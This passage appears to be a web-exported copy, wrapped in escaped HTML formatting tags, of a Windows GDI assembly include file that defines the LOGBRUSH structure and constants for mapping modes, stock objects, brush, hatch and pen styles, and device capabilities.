&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LOGBRUSH struc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lbStyle&lt;span style=""&gt;         &lt;/span&gt;dw ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lbColor&lt;span style=""&gt;         &lt;/span&gt;dd ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;lbHatch&lt;span style=""&gt;         &lt;/span&gt;dw ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LOGBRUSH ends&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;  &lt;/span&gt;Text Drawing modes&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TRANSPARENT&lt;span style=""&gt;     &lt;/span&gt;= 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OPAQUE&lt;span style=""&gt;          &lt;/span&gt;= 2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Mapping Modes&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MM_TEXT&lt;span style=""&gt;         &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MM_LOMETRIC&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MM_HIMETRIC&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;3&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MM_LOENGLISH&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;4&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MM_HIENGLISH&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;5&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MM_TWIPS&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;6&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MM_ISOTROPIC&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;7&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MM_ANISOTROPIC&lt;span style=""&gt;  &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;8&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Coordinate Modes&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;ABSOLUTE&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RELATIVE&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;  &lt;/span&gt;Stock Logical Objects&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;WHITE_BRUSH&lt;span style=""&gt;         &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LTGRAY_BRUSH&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GRAY_BRUSH&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DKGRAY_BRUSH&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;3&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BLACK_BRUSH&lt;span style=""&gt;         &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;4&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;NULL_BRUSH&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;5&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;HOLLOW_BRUSH&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;5&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;WHITE_PEN&lt;span style=""&gt;           &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;6&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BLACK_PEN&lt;span style=""&gt;           &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;7&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;NULL_PEN&lt;span style=""&gt;            &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;8&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DOT_MARKER&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;9&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OEM_FIXED_FONT&lt;span style=""&gt;      &lt;/span&gt;= 10&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;ANSI_FIXED_FONT&lt;span style=""&gt;     &lt;/span&gt;= 11&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;ANSI_VAR_FONT&lt;span style=""&gt;       &lt;/span&gt;= 12&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SYSTEM_FONT&lt;span style=""&gt;         &lt;/span&gt;= 13&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DEVICE_DEFAULT_FONT = 14&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DEFAULT_PALETTE&lt;span style=""&gt;     &lt;/span&gt;= 15&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SYSTEM_FIXED_FONT&lt;span style=""&gt;   &lt;/span&gt;= 16&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;ENDIF&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Brush Styles&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BS_SOLID&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BS_NULL&lt;span style=""&gt;         &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BS_HOLLOW&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;BS_NULL&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BS_HATCHED&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BS_PATTERN&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;3&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BS_INDEXED&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;4&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BS_DIBPATTERN&lt;span style=""&gt;   &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;5&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Hatch Styles&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;HS_HORIZONTAL&lt;span style=""&gt;   &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0&lt;span style=""&gt;       &lt;/span&gt;; -----&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;HS_VERTICAL&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;1&lt;span style=""&gt;       &lt;/span&gt;; |||||&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;HS_FDIAGONAL&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;2&lt;span style=""&gt;       &lt;/span&gt;; \\\\\&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;HS_BDIAGONAL&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;3&lt;span style=""&gt;       &lt;/span&gt;; /////&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;HS_CROSS&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;4&lt;span style=""&gt;       &lt;/span&gt;; +++++&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;HS_DIAGCROSS&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;5&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;; xxxxx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Pen Styles&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PS_SOLID&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PS_DASH&lt;span style=""&gt;         &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;1&lt;span style=""&gt;       &lt;/span&gt;; -------&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PS_DOT&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;2&lt;span style=""&gt;       &lt;/span&gt;; .......&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PS_DASHDOT&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;3&lt;span style=""&gt;       &lt;/span&gt;; _._._._&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PS_DASHDOTDOT&lt;span style=""&gt;   &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;4&lt;span style=""&gt;       &lt;/span&gt;; _.._.._&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PS_NULL&lt;span style=""&gt;         &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;5&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PS_INSIDEFRAME&lt;span style=""&gt;  &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;6&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Device Parameters for GetDeviceCaps()&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DRIVERVERSION =0&lt;span style=""&gt;     &lt;/span&gt;; Device driver version&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TECHNOLOGY&lt;span style=""&gt;    &lt;/span&gt;=2&lt;span style=""&gt;     &lt;/span&gt;; Device classification&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;HORZSIZE&lt;span style=""&gt;      &lt;/span&gt;=4&lt;span style=""&gt;     &lt;/span&gt;; Horizontal size in millimeters&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;VERTSIZE&lt;span style=""&gt;      &lt;/span&gt;=6&lt;span style=""&gt;     &lt;/span&gt;; Vertical size in millimeters&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;HORZRES&lt;span style=""&gt;       &lt;/span&gt;=8&lt;span style=""&gt;     &lt;/span&gt;; Horizontal width in pixels&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;VERTRES&lt;span style=""&gt;       &lt;/span&gt;=10&lt;span style=""&gt;    &lt;/span&gt;; Vertical width in pixels&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BITSPIXEL&lt;span style=""&gt;     &lt;/span&gt;=12&lt;span style=""&gt;    &lt;/span&gt;; Number of bits per pixel&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PLANES&lt;span style=""&gt;        &lt;/span&gt;=14&lt;span style=""&gt;    &lt;/span&gt;; Number of planes&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;NUMBRUSHES&lt;span style=""&gt;    &lt;/span&gt;=16&lt;span style=""&gt;    &lt;/span&gt;; Number of brushes the device has&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;NUMPENS&lt;span style=""&gt;       &lt;/span&gt;=18&lt;span style=""&gt;    &lt;/span&gt;; Number of pens the device has&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;NUMMARKERS&lt;span style=""&gt;    &lt;/span&gt;=20&lt;span style=""&gt;    &lt;/span&gt;; Number of markers the device has&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;NUMFONTS&lt;span style=""&gt;      &lt;/span&gt;=22&lt;span style=""&gt;    &lt;/span&gt;; Number of fonts the device has&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;NUMCOLORS&lt;span style=""&gt;     &lt;/span&gt;=24&lt;span style=""&gt;    &lt;/span&gt;; Number of colors the device supports&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PDEVICESIZE&lt;span style=""&gt;   &lt;/span&gt;=26&lt;span style=""&gt;    &lt;/span&gt;; Size required for device descriptor&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CURVECAPS&lt;span style=""&gt;     &lt;/span&gt;=28&lt;span style=""&gt;    &lt;/span&gt;; Curve capabilities&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LINECAPS&lt;span style=""&gt;      &lt;/span&gt;=30&lt;span style=""&gt;    &lt;/span&gt;; Line capabilities&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;POLYGONALCAPS =32&lt;span style=""&gt;    &lt;/span&gt;; Polygonal capabilities&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TEXTCAPS&lt;span style=""&gt;      &lt;/span&gt;=34&lt;span style=""&gt;    &lt;/span&gt;; Text capabilities&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CLIPCAPS&lt;span style=""&gt;      &lt;/span&gt;=36&lt;span style=""&gt;    &lt;/span&gt;; Clipping capabilities&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RASTERCAPS&lt;span style=""&gt;    &lt;/span&gt;=38&lt;span style=""&gt;    &lt;/span&gt;; Bitblt capabilities&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;ASPECTX&lt;span style=""&gt;       &lt;/span&gt;=40&lt;span style=""&gt;    &lt;/span&gt;; Length of the X leg&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;ASPECTY&lt;span style=""&gt;       &lt;/span&gt;=42&lt;span style=""&gt;    &lt;/span&gt;; Length of the Y leg&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;ASPECTXY&lt;span style=""&gt;      &lt;/span&gt;=44&lt;span style=""&gt;    &lt;/span&gt;; Length of the hypotenuse&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LOGPIXELSX&lt;span style=""&gt;    &lt;/span&gt;=88&lt;span style=""&gt;    &lt;/span&gt;; Logical pixels/inch in X&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LOGPIXELSY&lt;span style=""&gt;    &lt;/span&gt;=90&lt;span style=""&gt;    &lt;/span&gt;; Logical pixels/inch in Y&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SIZEPALETTE&lt;span style=""&gt;   &lt;/span&gt;=104&lt;span style=""&gt;   &lt;/span&gt;; Number of entries in physical palette&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;NUMRESERVED&lt;span style=""&gt;   &lt;/span&gt;=106&lt;span style=""&gt;   &lt;/span&gt;; Number of reserved entries in palette&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;COLORRES&lt;span style=""&gt;      &lt;/span&gt;=108&lt;span style=""&gt;   &lt;/span&gt;; Actual color resolution&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;ifndef NOGDICAPMASKS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Device Capability Masks:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Device Technologies&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DT_PLOTTER&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0&lt;span style=""&gt;  &lt;/span&gt;; /* Vector plotter&lt;span style=""&gt;                   &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DT_RASDISPLAY&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;1&lt;span style=""&gt;  &lt;/span&gt;; /* Raster display&lt;span style=""&gt;                   &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DT_RASPRINTER&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;2&lt;span style=""&gt;  &lt;/span&gt;; /* Raster printer&lt;span style=""&gt;                   &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DT_RASCAMERA&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;3&lt;span style=""&gt;  &lt;/span&gt;; /* Raster camera&lt;span style=""&gt;                    &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DT_CHARSTREAM&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;4&lt;span style=""&gt;  &lt;/span&gt;; /* Character-stream, PLP&lt;span style=""&gt;            &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DT_METAFILE&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;5&lt;span style=""&gt;  &lt;/span&gt;; /* Metafile, VDM&lt;span style=""&gt;                    &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DT_DISPFILE&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;6&lt;span style=""&gt;  &lt;/span&gt;; /* Display-file&lt;span style=""&gt;                     &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Curve Capabilities&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CC_NONE&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0&lt;span style=""&gt;  &lt;/span&gt;; /* Curves not supported&lt;span style=""&gt;         &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CC_CIRCLES&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;1&lt;span style=""&gt;  &lt;/span&gt;; /* Can do circles&lt;span style=""&gt;                   &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CC_PIE&lt;span style=""&gt;           &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;2&lt;span style=""&gt;  &lt;/span&gt;; /* Can do pie wedges&lt;span style=""&gt;                &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CC_CHORD&lt;span style=""&gt;         &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;4&lt;span style=""&gt;  &lt;/span&gt;; /* Can do chord arcs&lt;span style=""&gt;                &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CC_ELLIPSES&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;8&lt;span style=""&gt;  &lt;/span&gt;; /* Can do ellipese&lt;span style=""&gt;          &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CC_WIDE&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;16 ; /* Can do wide lines&lt;span style=""&gt;                &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CC_STYLED&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;32 ; /* Can do styled lines&lt;span style=""&gt;              &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CC_WIDESTYLED&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;64 ; /* Can do wide styled lines&lt;span style=""&gt;         &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CC_INTERIORS&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;128; /* Can do interiors&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;            &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Line Capabilities&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LC_NONE&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0&lt;span style=""&gt;  &lt;/span&gt;; /* Lines not supported&lt;span style=""&gt;              &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LC_POLYLINE&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;2&lt;span style=""&gt;  &lt;/span&gt;; /* Can do polylines&lt;span style=""&gt;                 &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LC_MARKER&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;4&lt;span style=""&gt;  &lt;/span&gt;; /* Can do markers&lt;span style=""&gt;                   &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LC_POLYMARKER&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;8&lt;span style=""&gt;  &lt;/span&gt;; /* Can do polymarkers&lt;span style=""&gt;               &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LC_WIDE&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;16 ; /* Can do wide lines&lt;span style=""&gt;                &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LC_STYLED&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;32 ; /* Can do styled lines&lt;span style=""&gt;              &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LC_WIDESTYLED&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;64 ; /* Can do wide styled lines&lt;span style=""&gt;         &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;LC_INTERIORS&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;128; /* Can do interiors&lt;span style=""&gt;                 &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Polygonal Capabilities&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PC_NONE&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0&lt;span style=""&gt;  &lt;/span&gt;; /* Polygonals not supported&lt;span style=""&gt;         &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PC_POLYGON&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;1&lt;span style=""&gt;  &lt;/span&gt;; /* Can do polygons&lt;span style=""&gt;                  &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PC_RECTANGLE&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;2&lt;span style=""&gt;  &lt;/span&gt;; /* Can do rectangles&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PC_WINDPOLYGON&lt;span style=""&gt;   &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;4&lt;span style=""&gt;  &lt;/span&gt;; /* Can do winding polygons&lt;span style=""&gt;          